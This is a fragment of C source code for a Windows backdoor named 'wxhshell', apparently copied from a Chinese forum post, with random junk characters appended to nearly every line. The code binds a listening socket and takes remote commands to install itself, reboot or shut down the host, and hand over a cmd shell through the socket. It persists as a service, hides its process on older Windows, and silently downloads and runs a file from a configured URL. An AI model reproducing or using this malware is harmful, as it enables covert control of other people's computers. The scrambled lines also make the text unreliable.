  else e(m#elX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = A;B-_c  
  } QR;E>eEq  
  else { =+j>?Yi  
*PjW,   
    switch(cmd[0]) { Q1?G7g]N  
  9@."Y>1G  
  // 帮助 +aWI"d--h  
  case '?': { uk~4R@=&H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;/8oP ;X2  
    break; $}G03G@  
  } }{Ncww!iN  
  // 安装 +\a`:QET  
  case 'i': { Y|iJO>_Uu=  
    if(Install()) DdL0MGwX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RjS&^u aP  
    else n(#159pZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -S"$S16D  
    break; @i[z4)"S  
    }  `9  
  // 卸载 &k+'TcWm  
  case 'r': { 6n.W5 1g(s  
    if(Uninstall()) *M_Gu{xc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1MCHwX3/  
    else . 787+J?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AZCbUkq  
    break; @]H:=Q'gj  
    } gB\KD{E  
  // 显示 wxhshell 所在路径 yjbqby7  
  case 'p': { 4S]`S\w  
    char svExeFile[MAX_PATH]; {{?[b^  
    strcpy(svExeFile,"\n\r"); @,63%  
      strcat(svExeFile,ExeFile); b1}P3W  
        send(wsh,svExeFile,strlen(svExeFile),0); 4#z@B1Jx  
    break; ,afh]#  
    } yH8 N8  
  // 重启 : qKxm(  
  case 'b': { +Zx+DW cq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O&!tW^ih  
    if(Boot(REBOOT)) U. 1Vpfy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xrK%3nA4s"  
    else { x-5XOqD{'  
    closesocket(wsh); f-?00*T  
    ExitThread(0); M<,E[2op  
    } D 5qCn^R  
    break; k@eU #c5c  
    } Cr,UP8MO  
  // 关机 )hHkaI>eYv  
  case 'd': { (N U*PQY6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %:/_O*~)Yg  
    if(Boot(SHUTDOWN)) .ya^8gM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hN6j5.x%  
    else { szC~?]<YY  
    closesocket(wsh); N.|Zh+!  
    ExitThread(0); s fxQ  
    } <aR8fU  
    break; ;K:)R_H  
    } aZYa<28?L%  
  // 获取shell dE*n!@  
  case 's': { ;wfzlUBC  
    CmdShell(wsh); Nt^R~#8hF>  
    closesocket(wsh); mJu;B3@  
    ExitThread(0); P+sxlf:0  
    break; Z~t OR{q  
  } qJj;3{X2  
  // 退出  t]Xdzy  
  case 'x': { wwS{V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;/W;M> ^  
    CloseIt(wsh); ;$G.?r  
    break; 9}FWO&LiB  
    } )DsC:cP  
  // 离开 kmM1)- v  
  case 'q': { Z@=1-l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wj/\ !V!  
    closesocket(wsh); <h2WM (n  
    WSACleanup();  = uZ[  
    exit(1); nJ#uz:(w,  
    break; ~ jb6  
        } s% "MaDz  
  } /a%5!)NE%  
  } &,xN$  
#N%xr'H  
  // 提示信息  UfEF>@0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I=wP"(2  
} kScq#<Y&  
  } ?k~(E`ZE3  
dF*@G/p>V  
  return; y88FT#hR|5  
} ;CD.8f]N  
cs7T AX  
// shell模块句柄 7z"xjA  
int CmdShell(SOCKET sock) {T Z7>k  
{ 15_OtK  
STARTUPINFO si; _PrK6M@"L  
ZeroMemory(&si,sizeof(si)); .N8AkQ(Ok  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z!5^UD8"W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^c}Z$V  
PROCESS_INFORMATION ProcessInfo; k7Fa+Y)K7  
char cmdline[]="cmd"; ~#dNGWwG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LQ"56PP<  
  return 0; *ta ``q  
} NIeT.!  
[rv"tz=  
// 自身启动模式 _*1/4^  
int StartFromService(void) w{Wz^=';  
{ xR2E? 0T  
typedef struct a&~d,vC  
{ h8oG5|Y  
  DWORD ExitStatus; $ +;`[b   
  DWORD PebBaseAddress; 5Ya TE<G  
  DWORD AffinityMask; OWFLw  
  DWORD BasePriority; m]BxGwT=m  
  ULONG UniqueProcessId; A^2VH$j]+  
  ULONG InheritedFromUniqueProcessId; "W;Gv I  
}   PROCESS_BASIC_INFORMATION; &IM;Yl  
(Bd8@}\u_  
PROCNTQSIP NtQueryInformationProcess; NH$a:>  
- *!R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y~An'+yBa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v' 7,(.E  
 k'X v*U  
  HANDLE             hProcess; [k.|iCD  
  PROCESS_BASIC_INFORMATION pbi; S,Boutd  
" 4#V$V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yjv}@i"  
  if(NULL == hInst ) return 0; ./LD  
zlZ$t{[,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); quHq?oXV,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); );V6YE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TU{^/-l  
W[[3'JTF  
  if (!NtQueryInformationProcess) return 0; D)XF@z;  
o ^L 3Xiv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1u7Kc'.xc  
  if(!hProcess) return 0; "qUUH4mR`  
bB'iK4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s@K)RhTY  
<Yu}7klJE  
  CloseHandle(hProcess); twU^ewO&  
W}bed],l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vo<V!G{  
if(hProcess==NULL) return 0; 4bqi&h3  
Juj"cjob  
HMODULE hMod; -l<b|`s=w.  
char procName[255]; a:Js i=  
unsigned long cbNeeded; PI(;t9]b  
qz"di~7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e )l<D)  
.w\AyXp  
  CloseHandle(hProcess); +0\BI<aG  
]7n+|@3x  
if(strstr(procName,"services")) return 1; // 以服务启动 2`I" QU  
5*u0VabC<  
  return 0; // 注册表启动 +uKh]RP  
} vO!p8r F  
x?Doe`/6?  
// 主模块 m8;; O  
int StartWxhshell(LPSTR lpCmdLine) }YWLXxb;  
{ (:Rj:8{  
  SOCKET wsl; AJt *48H*G  
BOOL val=TRUE; :@{(^}N8u  
  int port=0; ED&>~~k)  
  struct sockaddr_in door; t7tX<|aN  
|u8IQR'B  
  if(wscfg.ws_autoins) Install(); FuiG=quY  
Hj't.lg+j  
port=atoi(lpCmdLine); wl H6  
Meo(|U  
if(port<=0) port=wscfg.ws_port; Fg<$;p  
p'fq&a+  
  WSADATA data; M_*"g>Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <7R\ #  
A ><  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u8L%R[#o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hRTw8-wy:  
  door.sin_family = AF_INET; w%R(*,r6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J7q^4M+o:  
  door.sin_port = htons(port); @igr~hJ  
.Nz2K[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fVx<f.xuW  
closesocket(wsl); o^FlQy\  
return 1; :UM>`Y  
} d\dh"/_$  
WG>Nm89  
  if(listen(wsl,2) == INVALID_SOCKET) { lYldq)qB{  
closesocket(wsl); "vI:B}  
return 1; m/uBM6SXx  
} >J!4x(;Yh  
  Wxhshell(wsl); 7p*PDoM6`  
  WSACleanup(); VA + ?xk  
V:HxRMF2X  
return 0; Uo?g@D  
!qk+>6~A,  
} K8M[xaI@  
jsB%RvX  
// 以NT服务方式启动 vFm8T58 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yXP+$oox9  
{ /ap3>xkt  
DWORD   status = 0; 3y?I^ .B  
  DWORD   specificError = 0xfffffff; -L&r2RF/  
K}7E;O5m"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; koDIxj'%X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x6Zhw9RV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v&Xsyb0CaM  
  serviceStatus.dwWin32ExitCode     = 0; "=<T8M  
  serviceStatus.dwServiceSpecificExitCode = 0; TLbnG$VQS  
  serviceStatus.dwCheckPoint       = 0; o;5 J=  
  serviceStatus.dwWaitHint       = 0; $P'Y  
|8^53*f ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2GeJ\1k  
  if (hServiceStatusHandle==0) return; art L  
L kYcAY$w  
status = GetLastError(); |j:"n3~6  
  if (status!=NO_ERROR) }2c)UQD8  
{ WjLy7&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :"QR;O@  
    serviceStatus.dwCheckPoint       = 0; yu3: Hv}  
    serviceStatus.dwWaitHint       = 0; *|WS,  
    serviceStatus.dwWin32ExitCode     = status; \Gm$hTvB&  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ok63 w7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qj|P0N{7  
    return; v$~1{}iI5  
  } ZNWo:N8;  
*} @Y"y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wk<heF  
  serviceStatus.dwCheckPoint       = 0; Xc8r[dX  
  serviceStatus.dwWaitHint       = 0; Lv;% z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b)ytm=7ha  
} ^#-d^ )f;  
*UL++/f  
// 处理NT服务事件,比如:启动、停止 ~4gOv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *iLlBE  
{ Z*uv~0a>9Q  
switch(fdwControl) I_h u s  
{ K9-;-{qb  
case SERVICE_CONTROL_STOP: AzFd#P  
  serviceStatus.dwWin32ExitCode = 0; 8(d Hn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0QJ :  
  serviceStatus.dwCheckPoint   = 0; DpD19)ouy  
  serviceStatus.dwWaitHint     = 0; RHO | g0  
  { |T`ZK?B+u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WXq=FZ-  
  } zD}@QoB  
  return; X=C*PWa7  
case SERVICE_CONTROL_PAUSE: !fX&i6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H(|n,c  
  break; /%&Kbd  
case SERVICE_CONTROL_CONTINUE: `G/%U~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aMv?D(Meb  
  break; zEM  c)  
case SERVICE_CONTROL_INTERROGATE: {L6@d1u  
  break; b0VEMu81k  
}; <'T:9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D;?cf+6$  
} 0FN;^hP5|  
tL#~U2K  
// 标准应用程序主函数 {"v~1W)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FZFYwU\~.L  
{ QK~44;LVIJ  
l<3X:)  
// 获取操作系统版本 )NF5,eD  
OsIsNt=GetOsVer(); b@v_db]|t.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q8Jhs7fv  
E5 ;6ks)  
  // 从命令行安装 bF2RP8?en  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Z^?A^; }$  
~Un+Zs%24  
  // 下载执行文件 8Cx6Me>,=  
if(wscfg.ws_downexe) {  lL\%eQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YL?2gBT  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5& 2([  
} 7Gh+EJJ3I  
K UD.hK.  
if(!OsIsNt) { ,|}}Ml  
// 如果时win9x,隐藏进程并且设置为注册表启动 yN@3uYBF  
HideProc(); C4[)yJ  
StartWxhshell(lpCmdLine); c/6  
} ;{L~|q J  
else 8_W=)w6  
  if(StartFromService()) 7y?aw`Sw:  
  // 以服务方式启动 |lDxk[  
  StartServiceCtrlDispatcher(DispatchTable); b#%$y  
else !k3 eUBF  
  // 普通方式启动 cy-o@U"s8  
  StartWxhshell(lpCmdLine); UWXl c  
02 $d  
return 0; #zf,%IYF  
}
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只看该作者 1 发表于: 2006-10-10
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